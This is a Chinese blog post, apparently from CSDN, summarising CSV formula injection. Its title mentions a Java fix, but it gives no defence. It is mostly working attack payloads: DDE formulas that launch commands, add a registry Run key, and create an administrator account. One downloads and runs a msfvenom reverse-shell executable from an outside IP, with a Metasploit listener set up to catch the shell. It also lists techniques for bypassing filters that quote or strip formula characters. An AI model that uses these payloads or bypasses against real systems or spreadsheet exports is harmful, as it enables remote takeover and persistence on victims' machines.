csv注入java怎么解决_csv注入利用和绕过总结

csv注入

csv注入是一种将包含恶意命令的excel公式插入到可以导出csv或xls等格式的文本中,当在excel中打开csv文件时,文件会转换为excel格式并提供excel公式的执行功能,会造成命令执行问题。

漏洞原理

漏洞原理就是excel的一个特性,当单元格中内容以=-+@等符号开头时,excel将会将其当成一个公式处理。

所以当我们输入=1+1时,excel会自动将其计算

那么利用这个办法,把等号后面的内容改为执行cmd命令控制其打开一个计算器

=1+cmd|' /C calc'!A0

漏洞利用

修改注册表

=cmd|'/C reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v calc /t REG_SZ /d c:\windows\system32\calc.exe /f'!A0

添加用户ed1105ab902ffda41d37c9b2317df16a.png

=cmd|'/C net user test 123456 /add'!A0+

=cmd|'/C net user test 123456 /add && net localgroup administrators test /add'!A0

7c2fb1d9e422eb570f86c7a735b7816e.png可以使用命令注入中的知识,同时执行两个命令,达到新建一个管理员用户的效果

下载木马,反弹shell

准备木马

#msf生成payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 -f exe -o reverse_tcp.exe

#python2开启http服务

python -m SimpleHTTPServer 8888

#python3开启http服务

python -m http.server 8888

攻击机监听

msfconsole

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST xxx.xxx.xxx.xxx

set LPORT 4444

run

靶机从python http服务下载木马并执行

curl http://170.170.64.17:8888/reverse_tcp.exe --output windowsLocal.exe && .\windowsLocal.exe

那么我们在csv注入场景下的payload就是

=cmd|'/C curl http://170.170.64.17:8888/reverse_tcp.exe --output windowsLocal.exe && .\windowsLocal.exe'!A0

不过这个方法一般会在下载步骤被windows防火墙拦截,可以自行增加一层编解码或者加解密过程。

反弹shell也可以通过调用powershell下载powercat反弹,使用nc监听。

漏洞绕过

其他运算符号绕过

很多场景下服务器会过滤=,但是在excel中,+,-,@等也可以触发公式

-cmd|' /C calc'!A0

+cmd|' /C calc'!A0

@SUM(cmd|'/c calc'!A0)

%0A绕过自动添加单引号

有些防御手法会在等号之类的运算符前增加’,或每个元素开头直接添加单引号,可使用%0A换行执行

%0A-1+cmd|' /C calc'!A0

;绕过自动添加单引号

有些防御手法会在等号之类的运算符前增加’,或每个元素开头直接添加单引号,可使用;分割,分别执行

;-1+cmd|' /C calc'!A0

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值